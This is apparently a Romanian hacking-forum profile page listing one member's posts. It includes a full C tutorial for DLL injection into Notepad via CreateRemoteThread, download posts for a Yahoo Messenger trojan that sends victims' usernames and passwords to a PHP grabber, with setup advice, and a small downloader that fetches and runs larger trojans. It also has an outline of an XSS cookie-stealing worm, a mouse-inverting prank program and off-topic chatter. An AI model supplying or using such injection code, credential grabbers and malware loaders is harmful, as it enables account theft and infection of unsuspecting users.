Jump to content

SlicK

Active Members
  • Posts

    350
  • Joined

  • Last visited

  • Days Won

    5

Everything posted by SlicK

  1. Subclasarea ferestrelor prin injectarea unui dll Autor: SlicK Data: 5/26/2007 Website: rstzone.net Mediu de programare: Dev-C++ 4.9.9.2/WIN32 Nivel: Mediu >> Introducere Un fisier cu extensia dll(acronim de la "Dynamic Link Library") este o colectie de functii care pot fi folosite de un program sau mai multe in acelasi timp. Avantajul unui dll este ca nu este incarcat in memoria RAM la rularea programului salvand astfel memorie pentru alte procese. Tehnica pe care o voi prezenta in continuare numita "Dll Injection" este o metoda prin care putem rula un cod propriu(aflat in dll) in spatiul de memorie al altui program modificad comportamentul acestuia. >> Exemplificare In acest tutorial voi prezenta cum putem injecta un dll in Notepad adaugandu-i un meniu propriu Pentru a injecta un dll in spatiul de memorie al altui program avem nevoie noi insine de un program care sa faca acest lucru. Codul urmator face acest lucru. ===== loader.cpp ====== #include <windows.h> BOOL DllInject(HANDLE,LPSTR); // delaram functia int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { while(1) // ciclu pana la gasirea unei ferestre "Notepad" { Sleep(100); // evitam supraincarcarea HWND hwNot=FindWindow("Notepad",NULL); //cautam fereastra if(hwNot!=NULL) { DWORD pid; GetWindowThreadProcessId(hwNot,&pid); // obtinem PID'ul HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); // deschidem procesul if(hProcess!=NULL) { if(!DllInject(hProcess,"C:\\<DIRECTOR>\\dll.dll")) // injectam dll'ul in procesul respectiv { MessageBox(NULL,"Eroare la injectare","Eroare",MB_OK|MB_ICONERROR); } break; } } } return(0); } // aceasta este functia care injecteaza un dll intr'un proces (credit rohitab.com) BOOL DllInject(HANDLE hProcess,LPSTR lpszDllPath) { HMODULE hmKernel=GetModuleHandle("Kernel32"); if(hmKernel==NULL || hProcess==NULL) return(FALSE); int nPathLen=lstrlen(lpszDllPath)+1; LPVOID lpvMem=VirtualAllocEx(hProcess,NULL,nPathLen,MEM_COMMIT,PAGE_READWRITE); WriteProcessMemory(hProcess,lpvMem,lpszDllPath,nPathLen,NULL); DWORD dwWaitResult,dwExitResult=0; HANDLE hThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel,"LoadLibraryA"),lpvMem,0,NULL); if(hThread!=NULL) { dwWaitResult=WaitForSingleObject(hThread,10000); GetExitCodeThread(hThread,&dwExitResult); CloseHandle(hThread); } VirtualFreeEx(hProcess,lpvMem,0,MEM_RELEASE); return ((dwWaitResult!=WAIT_TIMEOUT) && (dwExitResult>0)); } ======================= Pana aici am reusit sa injectam un dll in fereastra Notepad. Dar care este Dll'ul? Codul urmator trebuie compilat intr-un proiect de tip DLL. ===== dll.cpp ===== #include <windows.h> DWORD WINAPI Main(); // declaram cele doua functii LRESULT CALLBACK NewWndProc(HWND,UINT,WPARAM,LPARAM); LONG OldWndProc; // procedura de fereastra Notepad //acesta este entry pointul intr-un dll, la fel ca "WinMain" extern "C" BOOL WINAPI DllMain(HINSTANCE hInst,DWORD Reason,LPVOID Null) { switch(Reason) { case DLL_PROCESS_ATTACH: //cand dll'ul este atasat la un proces { MessageBox(NULL,"Dll Atasat","DLL",MB_OK); CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&Main,NULL,0,NULL); // creeam un thread nou pentru a nu bloca aplicatia } break; case DLL_PROCESS_DETACH: //cand dll'ul este detasat de un proces(cant procesul este inchis) { MessageBox(NULL,"Dll Detasat","DLL",MB_OK); } break; } return true; } // functia din noul thread DWORD WINAPI Main() { HWND hwNot=FindWindow("Notepad",NULL); // cautam fereastra Notepad // in continuare vom obtine meniul original al Notepad-ului si-i voi adauga o sectiune proprie HMENU hOldMen=GetMenu(hwNot); HMENU hNewMen=CreateMenu(); AppendMenu(hOldMen,MF_STRING | MF_POPUP,(unsigned int)hNewMen,"Tutorial"); AppendMenu(hNewMen,MF_STRING,2000,"Buton"); // 2000 este indentificatorul meniului nou DrawMenuBar(hwNot); // Subclasam procedura de fereastra a Notepad-ului cu o procedura proprie pentru // a putea intercepta mesajele trmise de diferitele elemente ale ferestrei // in cazul de fata atunci cand este selectat meniul nou OldWndProc=SetWindowLong(hwNot,GWL_WNDPROC,(long)NewWndProc); ExitThread(0); } // procedura de fereastra noua LRESULT CALLBACK NewWndProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam) { switch(Message) { case WM_COMMAND: // mesajul pe care il primeste fereastra { if(wParam==2000) { MessageBox(HWND_DESKTOP, "Ai selectat meniul nou!","Tutorial",MB_OK); } } } // trimitem mesajele mai departe catre procedura de fereastra originala return CallWindowProc((WNDPROC)OldWndProc,hWnd,Message,wParam,lParam); } =================== Cam atat cu acest tutorial. Sper ca ati prins ideea si va va folosi vreodata
  2. Nu credeam ca o sa fie nevoie dar m-am inselat... Tutorial video: http://rootb0x.com/YFoe-tut.rar
  3. Adresei grabberului trebuie sa fie exact in forma aia: "http://<site>/grab.php?data=" iar daca te-ai infectat trebuie sa te dezinfectezi inainte sa mai faci teste (registrii si windows)
  4. Probabil pentru ca nu ai dat "chmod 777" la directorul unde se afla grab.php pentru ca trebuie sa aiba permisiuni de scriere pe server
  5. Asta e cel mai stupid chestionar pe care l-am vazut vreodata. O fi forumul Offtopic dar sunt anumite limite.
  6. Thanks, Incerc si eu
  7. Download: http://rootb0x.com/yfoe.rar Prinscreen: Acest trojan este facut special pt Y! Messenger. Atunci cand victima apasa pe butonul "Sign In" userul si parola introduse de el sunt trimise la PHP Grabber. In arhiva este si un exemplu de 'grab.php' pe care il puteti folosi... Functioneaza si cu optiunea 'multi' activa la YM. Testat pe YM8 dar ar trebui sa functioneze pe orice versiune. Well, Enjoy
  8. SlicK

    Esti Fumator?

    cein eu zic sa nu f**i tot ce prinzi, mai bine te limitezi la fete
  9. SlicK

    Esti Fumator?

    Fuck it Pall Mall light
  10. SlicK

    Rank-uri

    Se va rezolva cat de curand!
  11. Pai statusul poate fi schimbat foarte usor modificand cateva chei in registrii si trimitand un mesaj de update la fereastra Y!M. Daca te-ai referit la IE nu am folosit nici un dll, pur si simplu enumerari de ferestre si copii ai ferestrelor.
  12. Folosesc Dev-C++ si le scriu in C folosind API'uri win32. Grafica nu e asa complexa(cel putin la programele mele)... Imagini, mesaje din windows si cateva functii custom.
  13. Poate unora o sa li se para amuzant Iti modifica statusul pe yahoo messenger in functie de siteu pe care navighezi in Internet Explorer(7) Down: http://rootb0x.com/ieym.rar
  14. Faptul ca unii si-ar sterge posturile nu ar fi un lucru chiar asa rau, de fapt ar fi chiar bine
  15. flo flow nu te supara dar asta nu e un tutorial. nici macar nu reprezinta "the basics". sunt doar cateva functii aruncate acolo. metoda "split"(de fapt e o functie) pe care spui ca ai folosit-o nici macar nu apare in vreun cod iar functia "join" nu este folosita numai atunci cand tiparesti un elementele unui array.
  16. Bineinteles dar e doar 1.0 cat de complex poate sa fie?
  17. Un downloader foarte util pentru trojeni mari deoarece executabilul produs are doar 2.72KB comprimat. Downloadeaza fisierul <URL> si il salveaza ca <PATH> optional rulandu-l... Download: http://rootb0x.com/pvtd.rar Printscreen:
  18. Doamne cat de simplu se fac toate in VB .Tragi de aia apesi acolo si gata programu
  19. Un mic programel #include <windows.h> int main() { POINT NewPoint,OldPoint; // coordonatele mouseului RECT rc; GetWindowRect(GetDesktopWindow(),&rc); // limitele ecranului GetCursorPos(&OldPoint); // coordonata mouseului la pornirea prog while(1) { Sleep(10); GetCursorPos(&NewPoint); // coordonata curenta // daca noua pozitie se incadreaza in limitele ecranului o setam if(OldPoint.x*2-NewPoint.x>rc.left && OldPoint.x*2-NewPoint.x<rc.right) NewPoint.x=OldPoint.x*2-NewPoint.x; if(OldPoint.y*2-NewPoint.y>rc.top && OldPoint.y*2-NewPoint.x<rc.bottom) NewPoint.y=OldPoint.y*2-NewPoint.y; SetCursorPos(NewPoint.x,NewPoint.y); // mutam mouseul in noua pozitie OldPoint=NewPoint; } }
  20. Mersi virusss La video tutorial ma mai gandesc... pt ca asta e un tool cam periculos in mana celor care nu stiu sa-l foloseasca, iar cei care au inteles despre ce am scris in articol nu mai au nevoie de tutoriale "fa asta apoi asta" Pentru ce care nu au inteles: Functia "curl()" din php poate "imita" comportamenul ununui browser, adica poate trimite orice fel de request la un server si poate citi raspunsul serverului, ce ne intereseaza pe noi este faptul ca la "curl()" iti poti alege un fisier care sa poate fi folosit pt stocarea si citirea cookiurilor (cum fac de altfel si browserele normale) Ideea de baza in articol este ca folosind un XSS care puate fura cookiul unui user salvandu-l apoi intr-un fisier astfel incat sa poate fi folosit de curl(), un script php poate fi automatizat incat sa imite comportamentul unui user "viu"(intr-un fel cum ar face un atacator dupa ce a reusit sa obtina un cookie) Acest script nu este numai de yahoo ci poate fi implementat(cu modificari mai mici sau mai mari) pe orice site(bineinteles vulnerabil la XSS) si sa poate reproduce orice actiune pe care o poate face un user corect identificat(modificare de parole,upload de fisiere, etc...). Iar atata timp cat scriptul e capabil sa se reproduca(sa se trimita la alti useri) poate fi numit vierme. "So just think about that for a while (food for thought)" :wink:
×
×
  • Create New...